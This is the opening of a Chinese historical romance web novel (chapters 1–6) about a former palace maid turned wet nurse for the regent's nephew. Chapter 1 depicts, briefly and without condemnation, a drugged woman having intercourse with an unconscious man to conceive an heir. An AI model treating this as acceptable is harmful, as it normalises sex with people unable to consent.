《一枕春深》 第1章 奶娘,验身 沈姝身着一袭红锦罗裙,轻轻推开了房门。她今日来办一件事,为房中的男子—— 留种。 这人昏睡已有数月,家人希望为他留下血脉,请她来办事。 房中甜香气氤氲萦绕,冲得她一阵头晕目眩。她勉强定定神,往前看去。前方一张偌大的象牙床,悬着白色绫罗帐幔,隐隐有道修长的身影靠在床头坐着。 沈姝关上房门,从袖中摸出小瓷瓶,倒出里面的药丸放进双唇中,轻轻咬碎,吞下。 药的味道很怪,又苦又甜,在舌尖上反复折磨她的味觉。她强行咽下怪异的味道,快步往床前走去。 刷地一下,她掀开了帐幔,看向那身影。 男子戴着一张白玉面具,眼睛紧合着,身上只穿了一件白色寝衣,细细的带子松垮地系着。他并不瘦,甚至身材修长结实,若不是寝衣下层层缚束的绷带,沈姝不会认为他是个病人。 犹豫片刻,她硬着头皮坐到了男子身上。 在宫中为奴六载,她曾近身伺候过宠妃。皇帝临幸妃嫔时,她就站在榻前不远处伺候着,随时递水递物。初时她也会面红耳赤,不知所措。后来便练出了声从耳中过,半点不留心的本事。毕竟稍有差池,她会死的。 有之前那丸药的作用加持,她很快就陷入了燥热之中,将宠妃那里学来的手段,一一用在了男子的身上。 大夫说过,她只要在这五日内,每晚过来与他圆房,怀孕的机会很大。 她正琢磨怎么继续往下进行时,男子突然睁开了眼睛,滚烫的手掌用力钳住了她的细腰。 “放肆,你是什么人!”他低哑地质问。 沈姝陡然僵住。 他怎么醒了?大夫不是说他不可能醒过来了? “找死!”男子的手掌愈加用力,掐得沈姝腰都快断了。 “放手。”沈姝挣扎起来。 不料她的扭动挣扎,竟让男子越陷越深! 男子的呼吸也开始急促,他乌幽幽的眸子低下去,看向了沈姝的红缎裙摆。裙摆下是什么场景,他已经察觉到了! 也就是在这一瞬间,男子的身子猛然一僵…… 沈姝愣住了,她没想到一切结束得这么快! “滚!”男子咬牙,哑声怒斥,羞恼之意分外明显。 这时外面猛地响起了一声巨响,打断了她的话,还震得她猛地一个哆嗦。 男人猛地转头看向窗户,只见素绿的窗纱上映着熊熊火光!有几个人惊恐地尖叫着,疯了一般从窗外狂奔过去…… “晋王攻入京城了!” 晋王起兵至今不过短短二十几日,竟然这么快就攻进了京城! 沈姝快抽身而起,奔向大门,打开门看向外面。火光映红了整片天,厮杀声已经近在咫尺…… ………… 四年后。 “醒醒,到了。”沈姝正在睡梦中,被牙婆用力推醒,她定定神,坐正了身子。 她连着六日未能睡好,方才马车摇摇晃的,她竟然在马车上睡着了,还梦到了四年前城破那日发生的事。那场大火直到今日,依然让她心悸。那晚的男人戴着面具,至今她也不知那人是谁。 同马车的另五名女子已经下了马车,她从随身小包袱里取出一面小铜镜,整理了一下发髻衣裳,把头上唯一一支素银钗扶正,这才猫腰钻出了马车。 凛王府要给小公子招奶娘,她来应聘。牙婆把她们交给等在角门的凛王府嬷嬷,厉色叮嘱了她们几句话,这才让她们跟着嬷嬷从角门进了王府。 “小公子体弱,见不得脏东西,闻不得不干净的气味。”嬷嬷把几人带到一栋小楼前停下脚步,转过身,严厉的视线从几名女子身上一一扫过,“你们想进凛王府,第一关就是验身。” “啊?验身,咋验啊?” 站在沈姝前面的几个女子面面相觑,小声议论起来。 嬷嬷朝着早就站在前面的绿衣丫鬟递了个眼色:“一个一个带进去,查仔细。” 有两个女子打了退堂鼓,转身就想走。 “凛王府找奶娘,和牙婆说得清清楚楚,你们敢来,便是知道要过几道关卡的。”嬷嬷冷声道。 沈姝想了想,快步走向了绿衣丫鬟。 “我先来吧。”她轻声道。 凛王府奶娘的例钱高,试用时月例五两,成功留下了,每个月八两! 这实在是笔大钱! 新朝建立堪堪四年,那场仗打得太惨烈,直到去年百姓方才喘息过来,她做梦都能找到一个稳定的活计。奶娘就是要照顾孩子,她会。她的宝儿是她一手养大的,那孩子生在最苦的时候,没吃没喝,身子弱得跟小病猫似的,好几回差点走了。她能把宝儿养大,这位娇贵的小公子一定也可以。等她攒够了钱,就能给宝儿买人参了。 进了内室,绿衣丫鬟指挥她开始脱衣。 张嘴,抬臂,转身。 绿衣丫鬟皱着眉,盯住了沈姝背上那道从肩上横贯到腰间的鞭痕。那一鞭子是她在宫中为婢时受的,差点把她腰给抽断了。 “你孩子多大了?”绿衣丫鬟问道。 “三岁。”沈姝轻声回道。 绿衣丫鬟看她垂首回话的样子,又问:“你在大户人家做过?做过多久?” “做过六年。城破时,那家人没了。”沈姝平静地回道。 其实她也生于大户人家,十一岁前她是丞相府千娇百宠的嫡小姐,十一岁后,她被贬为罪奴,做了六年宫婢。先是洗衣,寒冬腊月冻得十指全是冻疮,烂到流血流脓。后来去宠妃身边伺候,宠妃坐着她跪着,直跪的双膝快废掉。而那宠妃是她在家中时,每回见她都会讨好的小表妹。 世事弄人,今日风光,怎知明日又会怎样? 沈姝扣上衣扣,系好腰带,从随身的小锦袋里拿出一只香盒放到绿衣丫鬟手中。 “姐姐莫要嫌弃,这是上好的冰片所制。” 丫鬟怔了一下,打开香盒闻了闻,神情松快了一些:“你是个懂事的,出去等着吧。” 沈姝赶紧道谢,快步走了出去,安静地站在一边等着。 “王爷和小公子回来了。”前面传来了一阵脚步声。 沈姝抬眸看去,只见一道高大修长的身影正往这边走来,怀里还抱着一个粉雕玉琢的小公子。二人都穿着黑衣,眉眼都冷冷的,那小男娃趴在男子肩上,病歪歪的模样。 这人正是当今摄政王,谢砚凛。 第2章 沐浴,洗净 沈姝很清楚,她想要得到这份差事,就得谢砚凛父子点头同意。 察言观色,分辩人心,这是她在宫中练出来的,这四年在市井求生,靠的也是她这份识人、认人的本事。否则她一个带着孩子的弱女子,在乱红之中早被人吃得骨头渣都不剩了。 其实她以前见过谢砚凛。 第一回是沈府还未落败时,十二岁时的谢砚凛跟着当年的老王爷到沈府做客,沈姝那时七岁,躲在屏风后面偷看名满京城的谢砚凛。 第二回是她进宫为婢之后,她被表妹调过去做捧香婢。在御花园里,她跪在表妹身前,高高捧着滚烫的香炉给表妹和皇帝助兴。谢砚凛就是这时候来的,他站在几丛牡丹花后和皇帝说话。沈姝正因为跪得太久而虚弱不堪,只觉得他的声音嗡嗡的,完全听不清在说什么。 数年过去,谢砚凛的眉眼比以前更冷酷了,手背上一道疤,是四年前他带兵迎战晋王时留下的,听说差点半个手掌被砍下来,他用衣袖把断掌与刀缠在一起,又冲了上去。 这新朝能重焕新机,谢砚凛功不可没。可惜他在那场大战中伤了耳朵,听不到了,一切事都得靠写字交流。 她若想得到谢砚凛的认可很难,那就只能从小公子身上下工夫了。这孩子是谢砚凛亲大哥的儿子,今年五岁。四年前那场大战,他大哥和大嫂为救他双双战死,只留下这孩子。所以他把这孩子视若已出,百般宠爱。 这孩子身上的一件衣都能抵宝儿一年的饭食了! 沈姝替自己的小女儿感到委屈,都是她这做娘的没用,才让宝儿过得那般艰苦。所以她一定要留下来,挣多多的钱,给宝儿也买漂亮的小衣裳,漂亮的小头花,让她吃饱饱的,每天都有肉吃。 沈姝看着小公子,眼眶情不自禁地红了。 待回过神时,谢砚凛和小公子已经走到了她面前。 “王爷,小公子。”沈姝赶紧行礼。 谢砚凛直接从沈姝面前走了过去,看也没看她一眼。 后面十多名婢女就追了过来,诚惶诚恐地跪下请罪。 “王爷,奴婢知罪。” “小公子的风筝跑了,奴婢们去找风筝,就一会功夫,没想到小公子跑出去了。” 小公子拉起谢砚凛的手,用指尖在他手心写字。 谢砚凛用心看着,半天后轻轻点了点头。 小公子这时转过脸来,好奇地看向站在前面的几个奶娘人选。嬷嬷和绿衣丫鬟双双微弯下腰,恭敬地上前禀报请奶娘的事。 小公子从去年起一直生病,老夫人信了民间的传说,要请个民间的奶娘,用她的命格来压一压邪祟,所以才让人去牙行找奶娘。 “王爷,小公子,奴婢等仔细验过身了。”绿衣丫鬟抬眸看向几位妇人,视线从沈姝面前扫过,落到她身边的妇人身上,“这位崔婶最为合适。” 沈姝怔了一下,绿衣丫鬟竟然选了别人!她稳了稳心神,悄然侧脸看向了身边的崔婶。她看上去二十出头的模样,穿了身崭新的蓝色布衣裙,布鞋也是簇新的,与她和其余几名女子相比,收拾得要齐整得多。沈姝心念一动,又看那女人和绿衣丫鬟的五官,这才恍然大悟。这崔婶与绿衣丫鬟只怕是一家人,为的就是这每个月八两的月例! 过了这个村,她可真找不着这么好的活了! 沈姝不甘心,她壮起胆,朝着小公子温柔地笑了笑:“那奴婢就恭祝小公子,身子康健,开开心心。” 小公子怔了一下,一双乌溜溜的眼睛认真地打量起了沈姝。 “你叫什么?”小公子问道。 “奴婢沈姝,”沈姝规矩地答道:“淑女之淑。” 这是当年为了逃出京城,和那位男子家人做的交易,她帮病重的男子留下血脉,男子家人帮她拿到新户籍和路引,用的是假名,沈淑。只一字之差,便可保她性命。 小公子看了她一会,又看向她的腰间,她背着一只小布包,布包上绣着一只形态娇憨的小布老虎。 “她。”小公子又托起了谢砚凛的手掌,在他手心上划了个淑字。 谢砚凛锐利的视线落在沈姝的脸上,她生得白皙,右耳垂上有一道细细的疤痕,这是当年在宫中被人强行摘下东珠耳环时撕坏的。 嬷嬷先反应过来,两个大步走到沈姝面前,朝她点头:“你随我来,沐浴更衣再去服侍小公子。” 绿衣丫鬟的脸上闪过一抹怨色,她和崔婶交换了一记眼神,跟上了沈姝和嬷嬷。 “绿烟给她拿几身衣服来,再给她说说规矩。”嬷嬷停下脚步,打量了沈姝一眼,严肃地说道:“别以为小公子挑了你,你就稳当了。每个月八两银,没那么好拿。” “我知道,多谢嬷嬷提点。”沈姝立刻恭敬地行了个礼。 嬷嬷又向那叫绿烟的绿衣丫鬟叮嘱了几句,这才离开。绿烟沉着脸,冷哼一声,大步跨进了门内。 沈姝跟上去,轻声说道:“还请姑娘多多关照,第一个月的银子,我都送给姑娘。” 绿烟怔了一下,狐疑地问道:“你舍得?” “不仅第一个月,以后每个月都有谢礼。”沈姝立刻说道。 绿烟的脸色顿时好看了不少,她抬高了下巴,哼了一声,哼道:“算你识趣。小公子平常与我最为亲近,你若能好好讨我欢心,我会帮你在小公子面前美言几句。” “是,都听姑娘的,姑娘让我做什么,我就做什么。”沈姝连忙回道。 绿烟看着沈姝的笑脸,有些不乐意了,“少摆出这副奴才样儿,我去给你拿衣裳。你看东边那道门,你进去,在那里面洗干净。” 沈姝道了谢,往右边的那道门走去。 绿烟看着她的背影,轻嗤一声,小声道:“进去吧,看你怎么死!” 这浴房分东西两门,里面是从玉京山引来的温泉水。奴婢本不该在此沐浴,可是小公子体质特殊,近身伺候他的人都需要用温泉水沐浴,所以谢砚凛将原本的浴房一分为二,东边浴池是他和小公子谢黯沐浴所用,西边的是给伺候小公子的婢女所用。绿烟故意指了东边的浴室给沈姝所用,她只要敢踏入池中,这差事就毁了。 绿烟眼看沈姝进了浴池,立马出去报信。 第3章 误闯,哄睡 沈姝褪了衣衫,快步进了池中,当水漫过她的小腿时,她立马察觉到不对劲。 这池子呈八卦形,一边是深水,一边浅水,明显浅水一边是给小公子用的,所以深水那边就是谢砚凛所用! 糟了,绿烟故意引她进了谢砚凛的浴房!奴婢用主子的浴池,不死也得残。放在宫中,这奴才的皮都要被扒下一层。 沈姝不敢逗留,立马从池中退出来。 就在她踩上最后一级台阶时,浴房的门推开,谢砚凛牵着谢黯慢步走了进来。他看到沈姝,立刻低声道:“闭眼。” 谢黯乖乖地转身,闭上了眼睛。 沈姝也不敢怠慢,立刻跪下请罪,“王爷恕罪,奴婢不知这是王爷的浴房。” 谢砚凛乌玉般的眸子微微掀起,盯住了沈姝。 她虽被他惊了一下,但看上去却不畏惧,有种超乎寻常的淡定之气。她此时身上只有一件泛旧的水青色肚兜,下摆破两处,打了补丁,她仔细地绣了两朵蔷薇花,挡住那两块补丁。衬裙只到小腿处,因为下摆破损厉害,她一圈一圈剪掉,所以越发地短。 谢砚凛松开谢黯的手,慢步走向沈姝。 沈姝的头埋得更低了,尽量缩起了肩膀,让自己看上去更弱小一些。 台阶是玉石的,坚硬湿滑,她的膝盖不好,才跪这么一小会儿,她的骨头已经开始疼了。在宫里几乎天天跪、时时跪,离开皇宫的这四年虽然苦,但不必下跪不必讨好,反而是沈家败落之后她最安心的日子。若不是宝儿急需一支参治病,她是万万不会为奴为婢的。 谢砚凛的影子压到了她撑地的手上,他衣袍上的冷香气直接钻进了她的鼻中。 突然,谢砚凛身子弯下来,冰凉的长指捏住了沈姝的下巴,把她的脸抬了起来。沈姝想了想,索性抬起眸子迎上他的视线。 谢砚凛听不到声音,所以她得让他看到自己的眼睛,以示自己诚恳无辜。 “名字,哪两个字。”谢砚凛漂亮的薄唇轻轻开合,声音有些低哑。 沈姝立刻用手指沾水,在池沿上写下沈淑二字。 谢砚凛眸子眯了眯,看着她的眼神变得愈加的幽暗。 “来人,那个沈奶娘闯进王爷的浴池了,赶紧把她拖出来。” 外面响起了嘈杂的动静,殿门砰地一下被人推开。 沈姝往门口看,只见绿烟带着好几个婢女站在门口,看到站在门里的谢黯,赶紧都跪了下去。 “奴婢惊扰到小公子,请小公子恕罪。”绿烟暗自咬牙,叩首时悄悄往里面看。从她这儿看过去,只能看到谢砚凛的背影,沈姝一大半身子隐在池中,温泉热气氤氲,看不真切。 “杖二十!”谢黯稚气却威严的声音陡然响起。 绿烟大喜,连忙说道:“还不进去,把沈奶娘拖出来。” 几个婢女起了身,弯着腰就要进来。 谢砚凛转过身,冷冽的视线直刺绿烟。 谢黯扭头看了看谢砚凛,见他负手而立,并不出声,于是大声道:“绿烟杖二十,逐出王府。” 绿烟猛地抬头,脸色惨白地看向谢砚凛,颤声道:“王爷,错了,是沈奶娘擅闯浴殿!” “淑姨,你说。”谢黯转过小脑袋,一脸认真地问道。 沈姝吸了口气,再度叩首:“此乃王府,主子之命,奴婢不敢多言。” 绿烟身子一软,绝望地瘫坐在地上。几个婢女不敢多言,立刻围上前去,拖着绿烟往外走。浴房内外不过几息之间,便变得安静如无人之地。 “淑姨,你去那边吧。”谢黯走过来,自己开始解衣褪衫。他低着小脑袋,不看沈淑一眼。 他又规矩又贵气的模样,让沈姝又忍不住多看了一眼。谢砚凛把这孩子养得真好!不过她没敢多看,因为谢砚凛也开始脱衣服了。她抱起自己的东西,快步往外走去。 待沐浴完,一个圆脸盘的婢女拿了一身衣裳过来让她换上,带着她去见谢黯。外面天色已经暗了,她想着等在家里的姝儿,不禁有些着急。今日原本说好只是试看,她晚上得回去。若是试用上了,她要回去安排好宝儿和拢烟姑姑,明儿再来正式上工。 谢黯是与谢砚凛同住的,婢女引着她进了书房,她一眼就看到谢黯独自坐在书桌上写字。这孩子的眉眼与他不太像,与他生母像了七八成。 他母亲当名为崔明珠。她是真正的明珠,崔家宠她,不约束她学女德,而是放手让她去做喜欢的事,嫁喜欢的人。后来她师承赫赫有名的剑术大师,习得一手好剑法,几个大男人都打不过她。沈姝在宫中时见过她,她跟在先太后身边,笑得明媚张扬,飒爽开朗,从来不管笑不露齿这种蠢话。 沈姝那时特别羡慕她,恨不得自己也会那一手好剑法,这样就能给爹娘和哥哥们报仇了。可她不会武功,打小学的全是女德女训,自十一岁入宫后,在宫中吃尽苦头,费尽全力也只保住了一条命而已。 沈姝又觉得崔明珠特别可惜,她一人一剑死守城门,战死时年仅二十三岁,那般好的年纪,被万箭穿心,血都流干了……沈姝眼眶有些烫,看着谢黯的眼神不禁更温柔了几分。 “淑姨,你会写字吗?”谢黯握着狼豪,抬起小脸看她。 沈姝微笑着点头:“会。” 谢黯想了想,又道:“那你会唱歌吗?” 沈姝又点头,想了想,唱起了哄宝儿睡觉的小曲,“萤火虫,打灯笼,花儿打个哈欠,娃娃花中眠。” 谢黯乌亮的眼睛睁了睁,好奇地问道:“这是你唱给你女儿的歌?” “是。”沈姝想到自己乖巧娇憨的小女儿,立刻笑弯了眼睛。这曲子是崔明珠家乡流行的童谣,权当她替崔明珠唱给小公子听。 “你能带她来陪我玩吗?”谢黯眼睛更视了,期待地问她。 沈姝摇头:“不行的,她太小了,不懂规矩。” 她一个人当奴婢就好了,她的宝儿只做她的掌心宝,在家里过快乐的日子。 “那你哄我睡觉吧。”谢黯从凳子上滑下来,打了个哈欠,往床边走去。 床不大,顶多能睡下两个谢黯,床上放了只破旧的小布老虎,他一躺上去就立马把小布老虎抱进了怀里。 沈姝跪坐到床前,给他盖好被子,轻拍着他,给他唱歌。 谢黯转过小脑袋一个劲地看她,过了好一会儿,才慢慢地闭上了眼睛。 这孩子是想她母亲了。 沈姝背的那个小袋子上绣了布老虎,这是她故意准备的。崔明珠喜欢老虎,她有孕时曾进宫找御绣局的女官学过刺绣,亲手给孩子绣了只老虎。这孩子是世间唯一一个让她拿起绣针的人。 沈姝有些内疚,她为了挣银子买药,利用了这孩子的思母心。不过她会好好照顾他的! “沈姑娘。”走出房间,身后传来了谢砚凛的声音。还是那样低哑。 第4章 乖宝,伺候 “王爷。”沈姝莫名紧张起来,她立刻福身行礼。 谢砚凛就在几步之外站着,他穿了身黑色锦衣常服,又远离灯火,所以她方才出来时根本没注意到他。 “你在宫里做过事。”谢砚凛站在原处,一双深邃的视线穿过夜色,直视向她。 沈姝抬头,错愕地看向他。 谢砚凛微微歪了一下头,视线往下移,落到她的手臂上。 沈姝这时才反应过来,她的右小臂上被烙了万福宫的烙印。这是她表妹当年最受宠时,让先帝特地下的旨意,万福宫的奴婢都必须在右臂上烙下印记。平常她用布缠着,外面还有衣袖遮着,无人发现。但今日她在浴房,被他给看见了。 沈姝犹豫了一下,点头:“是。” 当年宫变,好些宫人都逃了,宫中也无人追究,他应该不会抓她吧? “到底是哪个淑字?”谢砚凛又问。 沈姝硬着头皮,蹲下去,用手在地上写——“淑”。 宫中奴婢数千人,新人进,老人走,生生死死不知道有多少人消失,叛军又烧了好几个宫殿,他就算查,也查不出来。况且,她不认为谢砚凛会记得一个十年前被抄家的沈府,更不会记得这世间有个她。 “下去吧。”谢砚凛收回视线,冷声道。 沈姝松了口气,又行了个礼,埋下头快步往外走去。直到走到院中,她才大胆地回头看去,只见谢砚凛还站在那里,静静地看着她。 这一回沈姝不敢再回头看了,撒腿就往院外走。 从凛王府回到她租的那个小院,要走一个时辰。她到家时,已经天色大黑,拢烟姑姑拎着一灯笼正站在门口往路上张望,见她回了,拢烟姑姑立刻一跛一跛地过来迎她。 “可选上了?”拢烟姑姑轻声问道。 沈姝连连点头,把手里拎的一块肉拎高给她看:“选上了,方才去菜市,刘大伯留了一小块肉给我们。” 拢烟姑姑把肉接过去,叹气道:“若不是我的腿越来越使不上力,我哪里舍得让你再去伺候人。” “只是照顾小孩子,不算伺候人。而且崔小姐是为了满城百姓才没的,我去照顾她的孩子,更不算伺候人。”沈姝安慰道。 “话虽如此,但高门大户,谢砚凛更是个难伺候的主,我实在担心。”拢烟姑姑满面愁容地说道。 “嘘……宝儿出来了!”沈姝朝她递了个眼色,笑眯眯地看向院子里。 锦宝儿穿了身碧色小袄裙,拎了一盏锦鲤小灯,正往她这边跑。 “娘亲!”锦宝儿笑眯眯的,把小灯笼高高举起,仰着小脸往沈姝怀里扑。 沈姝蹲下来,一把抱住了锦宝儿。这些年来,母女二人几乎没分开过。她进凛王府做事,唯一放心不下的就是锦宝儿,怕她不适应母女分开的日子。 好在凛王府每七日许她归家一次,做半年,她攒够了人参钱,就辞工不做了。 锦宝儿搂着她的脖子,小脸亲昵地靠在她的脸上。一双软乎乎的小手在她的肩上轻轻地捶打,“娘亲累不累,宝儿给娘亲捏肩膀。” “娘亲不累。娘亲被选上了,第一个月挣五两银子,第二个月就能挣八两银子。娘亲是不是很厉害!”沈姝温柔地吧唧一声,用力亲了亲她的小脸。 锦宝儿眨巴着大眼睛,拉着沈姝就往房间走。 她才三岁,小小的一团,走得快了还会喘个不停。沈姝赶紧抱起她,小声道:“宝儿不高兴吗?” “娘亲很厉害,宝儿高兴。”锦宝儿奶声奶气地说道:“宝儿给娘亲做了萝卜肉沫团子。” “哇,宝儿也很厉害。”沈姝笑道,一瞬间,心都酥了。 “她怕王府不给你饭吃,从你出门后就一直呆在厨房,好让你带上明天进了王府吃。”拢烟姑姑心疼地说道。 “王府有好吃的,那个小公子也很好,不会饿着娘。娘亲不在家的时候,宝儿要乖乖睡觉,乖乖吃饭。”沈姝把宝儿放到椅子上,轻声哄道。 锦宝儿大眼睛里立刻蓄上了泪水,她仰高了小脸,眨巴着眼睛,小声道:“宝儿不哭,宝儿乖乖吃饭,乖乖睡觉。” 沈姝的心又软了几分,她抱住宝儿,轻声道:“娘亲每隔七日就能回来看宝儿,你数七日,娘亲就回来了。” “那他们会打你吗?会把你卖掉吗?”宝儿偎在沈姝怀里,一双小手紧紧地抓住了沈姝的衣裳。隔壁院子的玉姐姐去当丫鬟,被打死了,那家人扔给玉姐姐家十两银子,这事就了了,她很害怕娘亲会像玉姐姐一样挨打。 “不会的,小公子才五岁,他打不了我。”沈姝给她擦掉眼泪,红着眼睛轻声道:“而且娘亲的拳脚也厉害,你还记不记得,娘亲曾经用锄头打跑过坏人?” “记得!”锦宝儿立马点头。其实她不知道这件事,那时候她才几个月,太小了。不过拢烟姑姑常说这事,她便觉得自己记得了。拢烟姑姑说,仗打完的那一年,城里来了好多流民,四处抢东西。娘亲用布兜背着她去外面找吃的,被几个流民堵在巷子里,娘亲就用一把锄头,把那些人全打跑了。 拢烟姑姑每每给锦宝儿说起这事,总是把沈姝说得很威风很厉害。其实那日沈姝特别惨,锦宝儿已经病重了,她带宝儿出去是为了找药。那几个流民把沈姝逼到了巷子深处,要抢走沈姝仅剩下的几个铜板。沈姝把孩子往衣裳里一塞,不管不顾地冲上去拼命。 她咬,她撕,她抓……她把这辈子能想到的手段全用上了,男人的眼睛,男人的头发,男人的下处,她不要命地撕打。被踹翻在地,她就扑过去,用脑袋狠命地撞人家的肚子。许是她这疯狂样子吓到了那几人,没敢和她继续纠缠,一边骂她疯子,一边逃了。 沈姝这辈子最狼狈的两次,一次是被贬为宫奴,大庭广众之下被撕下衣衫,夺去钗环,用绳子捆了,套着脖子,衣不蔽体,像个牲畜一样被拖行。第二次便是这次,她抱着宝儿,带着药回到家时,鼻青脸肿,浑身是血,眼睛肿了两个多月才好。 女子在乱世,更为艰难。所以沈姝觉得自己真了不起,不仅活下来了,还把宝儿养大了。 哄宝儿睡了,拢烟姑姑轻手轻脚地走进来,和她一起收拾行李。王府在贵人聚集的地方,她们住的地方在西城,穷人聚集之地。好在左邻右舍与她的关系不错,平常对她们三人多有照应,今晚拿回来的肉,被她全做成了萝卜肉丸,拿去分给了大家,以恳请大家在她外出时多照顾拢烟姑姑和宝儿。 忙碌了大半夜,她才在宝儿身边躺下,睡了不过一个多时辰,她便起来了。她要赶在小公子醒来之前赶到他面前。 拢烟姑姑拿着她的包袱跟在她身后,千叮咛万嘱咐,让她辛苦就别做了,摆摊卖小吃食一样能过日子。宝儿的参钱,总能攒够。 二人一面说着话,一面到了巷子口。沈姝一抬头,只见雾气之中停着一驾马车,马车里透着灯光,照到车窗外面悬挂的凛王府玉石挂饰!而这马车宽敞豪气,显然是主子的座驾! 所以这马车里坐的是…… 谢砚凛?! 第5章 怀抱,温柔 马车四周站了好几个侍卫,只是他们都在暗处,沈姝之前没瞧见,直到她走近马车时,几人才从暗处出来。有一个昨日沈姝在谢砚凛的院中见过,看着近三十的年纪,皮肤黝黑,一笑脸上就有个酒窝。是侍卫队长卫昭。 这二人走上前来,朝沈姝点点头,示意她上马车。 沈姝和拢烟道了别,踩着小凳子登上了马车。她轻轻推开马车门,里面的暖光扑面而来,只见谢砚凛靠在椅上坐着,谢黯枕在他的腿上,正睡着。 谢砚凛撩了撩眸子,抬手指向右侧的坐处。沈姝不敢坐椅子,直接靠着椅子,坐到了地上的垫子上面。马车慢悠悠地往前走,一晃一晃,晃得沈姝又想睡了。她努力睁着眼睛,让自己打起精神。虽然不知这叔侄二人怎么会到这里来,但既然来了,她就得尽好本分,照顾好小公子。 突然马车后面传来了哭声。 “娘亲,娘亲~” 沈姝一怔,顾不上规矩,飞快地爬起来,推开马车窗子往后面看。锦宝儿举着一只小包袱,哭着追在马车后面。她给娘亲做的萝卜肉饼,沈姝怎么没带上呢!她在王府干活那么累,饿了没饭吃怎么办?锦宝儿顾不上拢烟姑姑跛着脚在追她,只想赶紧追上娘亲,把萝卜肉饼给她。 “王爷,是我女儿,能不能停下?”沈姝急了,赶紧看向谢砚凛。但问完之后,她又反应过,他听不见!马车里光暗,只怕连她的嘴型也看不清。 她急了,环顾四周,也没有可以写字的东西,于是索性一把拉起了谢砚凛的手,飞快地在他的手心写字:停下!我女儿! 谢砚凛抬起手,往马车壁上轻叩了两声。 咚咚…… 马车缓缓停下。 好在因为谢黯睡着了,所以马车一直走得很慢,才让锦宝儿没追太远。沈姝跳下马车,朝着宝儿飞奔过去。 “娘亲,肉饼。”锦宝儿哭得上气不接下接,把小包袱往沈姝怀里塞。 沈姝是故意没拿的,吃点肉不容易,她想让宝儿多吃。她进了王府,饭食不会太差,她还想着要在王府里想法子多弄些吃食回来给宝儿!可这是宝儿给她的,她若不拿,只怕宝儿会更担心。 “是娘亲糊涂了,怎么忘了呢。”沈姝抱紧了小包袱,往宝儿的小脸上亲了又亲:“宝儿乖乖,快和拢烟姑姑回去。” 锦宝儿伸过小脑袋看那驾大马车,那马车太大了,好像比她和娘亲的屋子还大,娘亲坐在里面腰肯定不会疼吧? “交给我吧。”拢烟姑姑拖着跛腿,终于追过来了。她着急地把宝儿抱起来,小声说道:“是我没看好她,你放心,我会好好看着她的。” “好。”沈姝用袖子给宝儿擦了擦小脸,一步三回头地往马车走去。 锦宝儿窝在拢烟的怀里,眼巴巴地看着沈姝。她好想哭,可是拢烟姑姑说了,娘亲进了王府能穿新衣裳,能吃很多肉,所以她不能哭,不能让娘亲没有新衣服穿。娘亲的裙子都补了好多补丁了! 眼看沈姝上了马车,锦宝儿撇了撇小嘴巴,一头扎进了拢烟的颈窝处,小肩膀一耸一耸地开始哭。 拢烟心疼地摸着孩子的脸,小声哄着她,抱着她往回走。 “你娘亲吃很多肉,就会长很多力气,就能天天带着宝儿了。” “你娘亲还能挣很多银子,到时候换张大大的床,娘亲半夜就不会摔下床了。” “你娘亲还能给你买人参,到时候你长得壮壮的,就能帮娘亲干活了。” 锦宝儿抬起小脑袋,举起小胳膊,抽抽答答地说道:“宝儿要长得壮壮的!” 马车渐行渐远了。 沈姝抱着小包袱,一言不发地靠着马车门坐着,好一会儿她才回过神,转头看向了谢砚凛。这时她才发现谢黯也醒了,正靠在谢砚凛的身上,好奇地看着她。 “淑姨,那就是你的女儿?” “嗯。”沈姝连忙打起精神,她想到了怀里的萝卜肉饼,连忙往自己的包袱里塞,免得这气味冲撞到了小公子。 “你藏的是什么?”谢黯立刻看向了她的包袱。 “是我女儿给我做的萝卜肉饼。”沈姝解释道。 “小叔,给我一点银子。”谢黯转过头看向谢砚凛,拉起他的手,在他手心写字。 谢砚凛点头,朝放在一边的木箱子递眼色。 谢黯从椅子上溜下来,走到木箱前,打开,从里面拿出一只匣子。里面全是碎银子,满满一盒,只怕有上百两,是沈姝再忙几年都攒不出来的银子。 谢黯从里面拿出一块递到了沈姝面前:“淑姨能卖给我一块尝尝吗?” 沈姝怔了一下,连忙看向了谢砚凛。谢黯正生病,能吃外面的东西吗?谢砚凛的视线在她脸上停了一瞬,淡然地点了点头。 沈姝不敢收钱,她把萝卜饼拿出来,取了一块给谢黯。 谢黯把银子放到她手边,双手接过萝卜饼,捧在手里看了又看,然后小心地放到嘴边咬了一口。 “好吃。”他品出味来,大口地吃了起来。 沈姝不敢松懈,一直紧张地看着他,生怕他吃出什么毛病。有些孩子肠胃弱,吃不好就会上吐下泻,再严重些还会起满身的疹子。当年宫中陈贵妃的儿子,就是这样没的。 “淑姨,我能再买一块吗?”谢黯又从匣子里拿了块银子放到沈姝面前。 “不需要这么多钱,这萝卜饼市面上也就卖三文钱一个。”沈姝解释着,把小包袱捧到谢黯面前,让他自己挑。 谢黯想了想,拿了两只,一只自己吃,另一只递到了谢砚凛嘴边。 “小叔,好香,你也吃。”他期待地看着谢砚凛。 谢砚凛坐着没动,只轻轻摇了摇头。 沈姝以前见谢砚凛两回,每一回他都很健谈,浑身明亮张扬的气势,少年郎意气风发,能赛过天上骄阳。如今不过四年,他一身气场变得冷冽锐利,眼神寒气涌动,盯人一眼,便让人心里生寒。 第6章 手心,丈夫 谢砚凛不接萝卜饼,谢黯也没坚持,拿着萝卜饼一口一口地吃,眼睛亮亮的,仿佛吃的不是平凡的萝卜,而是人参。 沈姝看着他一鼓一鼓的小脸蛋,忍不住又想锦宝儿了。 锦宝儿吃东西不像谢黯淡斯文,她总是大口大口地吃饭,嚼嚼嚼,然后仰起小脸儿奶声奶气地说:宝儿长壮壮了! 可是小孩子只吃萝卜饼,哪能长壮呢? 沈姝很穷,买不起好东西给锦宝儿吃。平常吃得最多的就是这萝卜肉饼,去西市买几个别人挑剩下的萝卜,长得歪了些、烂了一小块都不要紧,最重要的是便宜。 她每次买的肉也很少,顶多两指宽一指长,包肉的油纸包都不舍得丢,野菜叶子在上面滚了又滚,做汤吃。 不过现在好了,她找到了个好活计,这叔侄二人实在大方,不过三个萝卜饼,就赏了她一块碎银子。她方才上手掂了一下,起码有五钱。过七日回家就买些肉带回去,给锦宝儿做真正的肉饼,让她吃饱饱的。 乖宝儿咬着肉饼,大眼睛肯定会瞪得圆圆的…… 沈姝想着那场面,嘴角忍不住扬了起来。 “淑姨你笑了。”谢黯的声音突然响了起来。 沈姝回过神,抬眸一看,谢砚凛和谢黯两个都在看她。二人的坐姿一模一样,端端正正的,双手放在腿上,连嘴角抿起的模样都一样。 “王爷,小公子恕罪。”她有些尴尬地赔罪。 谢黯轻声道:“淑姨你笑起来真好看。” 啊?沈姝愣了一下,然后朝着谢黯露出了一个温柔的笑容。 